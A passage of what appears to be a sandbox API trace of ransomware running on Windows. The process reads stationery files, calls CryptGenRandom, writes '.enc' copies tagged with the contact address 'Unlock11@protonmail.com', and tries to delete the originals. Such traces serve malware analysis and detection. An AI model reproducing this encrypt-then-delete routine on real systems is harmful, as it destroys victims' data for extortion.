Size=0x4) returned 0x33f6a48 [0123.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a38 | out: hHeap=0x2ad0000) returned 1 [0123.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x108) returned 0x382ab08 [0123.608] GetLastError () returned 0x0 [0123.608] GetLastError () returned 0x0 [0123.608] GetLastError () returned 0x0 [0123.608] GetLastError () returned 0x0 [0123.608] GetCurrentThreadId () returned 0x9b0 [0123.608] GetLastError () returned 0x0 [0123.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ab08 | out: hHeap=0x2ad0000) returned 1 [0123.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0123.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0123.609] GetLastError () returned 0x0 [0123.609] GetLastError () returned 0x0 [0123.609] GetCurrentThreadId () returned 0x9b0 [0123.609] GetLastError () returned 0x0 [0123.609] GetLastError () returned 0x0 [0123.609] GetLastError () returned 0x0 [0123.609] GetCurrentThreadId () returned 0x9b0 [0123.609] GetLastError () returned 0x0 [0123.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8658 | out: hHeap=0x2ad0000) returned 1 [0123.609] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.609] GetLastError () returned 0x0 [0123.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.610] CloseHandle (hObject=0x3ac) returned 1 [0123.611] GetLastError () returned 0x0 [0123.611] GetCurrentThreadId () returned 0x9b0 [0123.611] GetLastError () returned 0x0 [0123.611] GetLastError () returned 0x0 [0123.611] CloseHandle (hObject=0x39c) returned 1 [0123.611] GetLastError () returned 0x0 [0123.611] GetCurrentThreadId () returned 0x9b0 [0123.611] GetLastError () returned 0x0 [0123.611] GetCurrentThreadId () returned 0x9b0 [0123.611] GetLastError () returned 0x0 [0123.612] GetLastError () returned 0x0 [0123.612] GetLastError () returned 0x0 [0123.612] GetLastError () returned 0x0 [0123.612] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0 [0123.612] GetLastError () returned 0x5 [0123.612] GetCurrentThreadId () returned 0x9b0 [0123.612] GetLastError () returned 0x5 [0123.612] GetLastError () returned 0x5 [0123.612] GetLastError () returned 0x5 [0123.613] GetLastError () returned 0x5 [0123.613] LocalFree (hMem=0x1053a70) returned 0x0 [0123.613] GetLastError () returned 0x5 [0123.613] GetLastError () returned 0x5 [0123.613] GetLastError () returned 0x5 [0123.613] GetLastError () returned 0x5 [0123.613] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", lpFilePart=0x9bada4*="HandPrints.jpg") returned 0x48 [0123.613] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0123.613] GetCurrentThreadId () returned 0x9b0 [0123.613] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0123.613] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0123.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0123.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8a0 [0123.614] GetLastError () returned 0x0 [0123.614] GetLastError () returned 0x0 [0123.614] GetLastError () returned 0x0 [0123.614] GetLastError () returned 0x0 [0123.614] GetCurrentThreadId () returned 0x9b0 [0123.614] GetLastError () returned 0x0 [0123.614] GetCurrentThreadId () returned 0x9b0 [0123.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8a0 | out: hHeap=0x2ad0000) returned 1 [0123.614] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.615] GetLastError () returned 0x0 [0123.615] GetLastError () returned 0x0 [0123.615] GetLastError () returned 0x0 [0123.615] GetLastError () returned 0x0 [0123.615] GetCurrentThreadId () returned 0x9b0 [0123.615] GetLastError () returned 0x0 [0123.615] GetLastError () returned 0x0 [0123.615] GetLastError () returned 0x0 [0123.615] GetLastError () returned 0x0 [0123.615] GetLastError () returned 0x0 [0123.615] GetCurrentThreadId () returned 0x9b0 [0123.615] GetLastError () returned 0x0 [0123.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.616] GetLastError () returned 0x0 [0123.616] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0123.616] GetLastError () returned 0x0 [0123.616] GetLastError () returned 0x0 [0123.616] GetLastError () returned 0x0 [0123.616] GetCurrentThreadId () returned 0x9b0 [0123.616] GetLastError () returned 0x0 [0123.616] GetCurrentThreadId () returned 0x9b0 [0123.617] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a6e8 [0123.617] GetLastError () returned 0x0 [0123.617] GetLastError () returned 0x0 [0123.617] GetLastError () returned 0x0 [0123.617] GetLastError () returned 0x0 [0123.617] GetCurrentThreadId () returned 0x9b0 [0123.617] GetLastError () returned 0x0 [0123.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0123.618] GetLastError () returned 0x0 [0123.618] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0123.618] GetLastError () returned 0x0 [0123.618] GetLastError () returned 0x0 [0123.618] GetLastError () returned 0x0 [0123.618] GetCurrentThreadId () returned 0x9b0 [0123.618] GetLastError () returned 0x0 [0123.618] GetLastError () returned 0x0 [0123.618] GetLastError () returned 0x0 [0123.618] GetLastError () returned 0x0 [0123.618] GetLastError () returned 0x0 [0123.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0123.619] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e)) returned 1 [0123.619] GetLastError () returned 0x0 [0123.619] GetCurrentThreadId () returned 0x9b0 [0123.619] GetLastError () returned 0x0 [0123.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0123.619] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a674 | out: pbBuffer=0x366a674) returned 1 [0123.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0123.619] GetCurrentThreadId () returned 0x9b0 [0123.619] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0123.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0123.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8f0 [0123.620] GetLastError () returned 0x0 [0123.620] GetLastError () returned 0x0 [0123.620] GetLastError () returned 0x0 [0123.620] GetLastError () returned 0x0 [0123.620] GetCurrentThreadId () returned 0x9b0 [0123.620] GetLastError () returned 0x0 [0123.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea8f0 | out: hHeap=0x2ad0000) returned 1 [0123.620] GetCurrentThreadId () returned 0x9b0 [0123.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.621] GetLastError () returned 0x0 [0123.621] GetLastError () returned 0x0 [0123.621] GetLastError () returned 0x0 [0123.621] GetLastError () returned 0x0 [0123.621] GetCurrentThreadId () returned 0x9b0 [0123.621] GetLastError () returned 0x0 [0123.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab98 | out: hHeap=0x2ad0000) returned 1 [0123.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6a38 [0123.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4100 | out: hHeap=0x2ad0000) returned 1 [0123.621] GetCurrentThreadId () returned 0x9b0 [0123.621] GetLastError () returned 0x0 [0123.622] GetLastError () returned 0x0 [0123.622] GetLastError () returned 0x0 [0123.622] GetLastError () returned 0x0 [0123.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ae8 [0123.622] GetLastError () returned 0x0 [0123.622] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.622] GetFileType (hFile=0x39c) returned 0x1 [0123.622] GetLastError () returned 0x0 [0123.623] GetCurrentThreadId () returned 0x9b0 [0123.623] GetLastError () returned 0x0 [0123.623] GetFileType (hFile=0x39c) returned 0x1 [0123.623] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.623] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.623] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.623] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.623] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.623] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.623] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.623] GetLastError () returned 0x0 [0123.623] GetCurrentThreadId () returned 0x9b0 [0123.623] GetLastError () returned 0x0 [0123.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ae8 | out: hHeap=0x2ad0000) returned 1 [0123.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0123.624] GetLastError () returned 0x0 [0123.624] GetLastError () returned 0x0 [0123.624] GetLastError () returned 0x0 [0123.624] GetLastError () returned 0x0 [0123.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0123.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6aa8 [0123.624] GetLastError () returned 0x0 [0123.624] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.625] GetFileType (hFile=0x3ac) returned 0x1 [0123.625] GetLastError () returned 0x0 [0123.625] GetCurrentThreadId () returned 0x9b0 [0123.625] GetLastError () returned 0x0 [0123.625] GetFileType (hFile=0x3ac) returned 0x1 [0123.625] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.625] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.625] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.625] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.625] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.626] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.626] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.626] GetLastError () returned 0x0 [0123.626] GetCurrentThreadId () returned 0x9b0 [0123.626] GetLastError () returned 0x0 [0123.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6aa8 | out: hHeap=0x2ad0000) returned 1 [0123.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0123.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.626] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.626] GetLastError () returned 0x0 [0123.626] GetLastError () returned 0x0 [0123.626] GetCurrentThreadId () returned 0x9b0 [0123.627] GetLastError () returned 0x0 [0123.627] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.627] GetLastError () returned 0x0 [0123.627] GetLastError () returned 0x0 [0123.627] GetCurrentThreadId () returned 0x9b0 [0123.627] GetLastError () returned 0x0 [0123.627] GetLastError () returned 0x0 [0123.629] GetLastError () returned 0x0 [0123.629] GetCurrentThreadId () returned 0x9b0 [0123.629] GetLastError () returned 0x0 [0123.629] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a38 | out: hHeap=0x2ad0000) returned 1 [0123.629] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1098) returned 0x35bc9f0 [0123.629] GetLastError () returned 0x0 [0123.629] GetLastError () returned 0x0 [0123.629] GetLastError () returned 0x0 [0123.629] GetLastError () returned 0x0 [0123.630] GetCurrentThreadId () returned 0x9b0 [0123.630] GetLastError () returned 0x0 [0123.630] GetCurrentThreadId () returned 0x9b0 [0123.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1095) returned 0x35bda90 [0123.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0123.630] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.630] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.630] GetLastError () returned 0x0 [0123.631] GetLastError () returned 0x0 [0123.631] GetCurrentThreadId () returned 0x9b0 [0123.631] GetLastError () returned 0x0 [0123.631] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bda90 | out: hHeap=0x2ad0000) returned 1 [0123.631] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f95e8 [0123.631] GetLastError () returned 0x0 [0123.632] GetLastError () returned 0x0 [0123.632] GetCurrentThreadId () returned 0x9b0 [0123.632] GetLastError () returned 0x0 [0123.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f95e8 | out: hHeap=0x2ad0000) returned 1 [0123.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.632] GetLastError () returned 0x0 [0123.633] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0123.633] CloseHandle (hObject=0x3ac) returned 1 [0123.633] GetLastError () returned 0x0 [0123.633] GetCurrentThreadId () returned 0x9b0 [0123.633] GetLastError () returned 0x0 [0123.633] GetLastError () returned 0x0 [0123.633] CloseHandle (hObject=0x39c) returned 1 [0123.633] GetLastError () returned 0x0 [0123.633] GetCurrentThreadId () returned 0x9b0 [0123.634] GetLastError () returned 0x0 [0123.634] GetLastError () returned 0x0 [0123.634] GetLastError () returned 0x0 [0123.634] GetLastError () returned 0x0 [0123.634] GetLastError () returned 0x0 [0123.634] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0 [0123.634] GetLastError () returned 0x5 [0123.634] GetCurrentThreadId () returned 0x9b0 [0123.634] GetLastError () returned 0x5 [0123.635] GetLastError () returned 0x5 [0123.635] GetLastError () returned 0x5 [0123.635] GetLastError () returned 0x5 [0123.635] LocalFree (hMem=0x1053c70) returned 0x0 [0123.635] GetLastError () returned 0x5 [0123.635] GetLastError () returned 0x5 [0123.635] GetLastError () returned 0x5 [0123.635] GetLastError () returned 0x5 [0123.635] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm", lpFilePart=0x9bada4*="Orange Circles.htm") returned 0x4c [0123.635] GetCurrentThreadId () returned 0x9b0 [0123.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0123.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0123.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0123.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0123.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eacd8 [0123.636] GetCurrentThreadId () returned 0x9b0 [0123.636] GetLastError () returned 0x0 [0123.636] GetLastError () returned 0x0 [0123.636] GetLastError () returned 0x0 [0123.636] GetLastError () returned 0x0 [0123.636] GetCurrentThreadId () returned 0x9b0 [0123.636] GetLastError () returned 0x0 [0123.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eacd8 | out: hHeap=0x2ad0000) returned 1 [0123.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0123.637] GetLastError () returned 0x0 [0123.637] GetLastError () returned 0x0 [0123.637] GetLastError () returned 0x0 [0123.637] GetLastError () returned 0x0 [0123.637] GetCurrentThreadId () returned 0x9b0 [0123.637] GetLastError () returned 0x0 [0123.637] GetCurrentThreadId () returned 0x9b0 [0123.637] GetLastError () returned 0x0 [0123.638] GetLastError () returned 0x0 [0123.638] GetLastError () returned 0x0 [0123.638] GetLastError () returned 0x0 [0123.638] GetCurrentThreadId () returned 0x9b0 [0123.638] GetLastError () returned 0x0 [0123.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9e0 | out: hHeap=0x2ad0000) returned 1 [0123.638] GetLastError () returned 0x0 [0123.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0123.638] GetLastError () returned 0x0 [0123.638] GetLastError () returned 0x0 [0123.638] GetLastError () returned 0x0 [0123.639] GetCurrentThreadId () returned 0x9b0 [0123.639] GetCurrentThreadId () returned 0x9b0 [0123.639] GetCurrentThreadId () returned 0x9b0 [0123.639] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1 [0123.639] GetCurrentThreadId () returned 0x9b0 [0123.639] GetCurrentThreadId () returned 0x9b0 [0123.639] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668dcc | out: pbBuffer=0x3668dcc) returned 1 [0123.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0123.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0123.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0123.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea850 [0123.640] GetCurrentThreadId () returned 0x9b0 [0123.640] GetCurrentThreadId () returned 0x9b0 [0123.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea850 | out: hHeap=0x2ad0000) returned 1 [0123.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab98 [0123.640] GetCurrentThreadId () returned 0x9b0 [0123.640] GetCurrentThreadId () returned 0x9b0 [0123.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6ab8 [0123.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a34c0 | out: hHeap=0x2ad0000) returned 1 [0123.640] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.641] GetFileType (hFile=0x39c) returned 0x1 [0123.641] GetCurrentThreadId () returned 0x9b0 [0123.641] GetFileType (hFile=0x39c) returned 0x1 [0123.641] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.641] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.641] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.641] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.641] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.641] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.642] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.642] GetLastError () returned 0x0 [0123.642] GetCurrentThreadId () returned 0x9b0 [0123.642] GetLastError () returned 0x0 [0123.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a38 | out: hHeap=0x2ad0000) returned 1 [0123.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0123.642] GetLastError () returned 0x0 [0123.642] GetLastError () returned 0x0 [0123.642] GetLastError () returned 0x0 [0123.642] GetLastError () returned 0x0 [0123.642] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ae8 [0123.643] GetLastError () returned 0x0 [0123.643] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.644] GetFileType (hFile=0x3ac) returned 0x1 [0123.644] GetLastError () returned 0x0 [0123.644] GetCurrentThreadId () returned 0x9b0 [0123.644] GetLastError () returned 0x0 [0123.644] GetFileType (hFile=0x3ac) returned 0x1 [0123.644] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.644] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.644] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.644] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.644] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.644] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.645] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.645] GetLastError () returned 0x0 [0123.645] GetCurrentThreadId () returned 0x9b0 [0123.645] GetLastError () returned 0x0 [0123.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ae8 | out: hHeap=0x2ad0000) returned 1 [0123.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0123.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0123.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0123.645] GetLastError () returned 0x0 [0123.645] GetLastError () returned 0x0 [0123.645] GetCurrentThreadId () returned 0x9b0 [0123.646] GetLastError () returned 0x0 [0123.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.646] GetLastError () returned 0x0 [0123.646] GetLastError () returned 0x0 [0123.646] GetCurrentThreadId () returned 0x9b0 [0123.646] GetLastError () returned 0x0 [0123.646] GetLastError () returned 0x0 [0123.647] GetLastError () returned 0x0 [0123.647] GetCurrentThreadId () returned 0x9b0 [0123.647] GetLastError () returned 0x0 [0123.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0123.647] 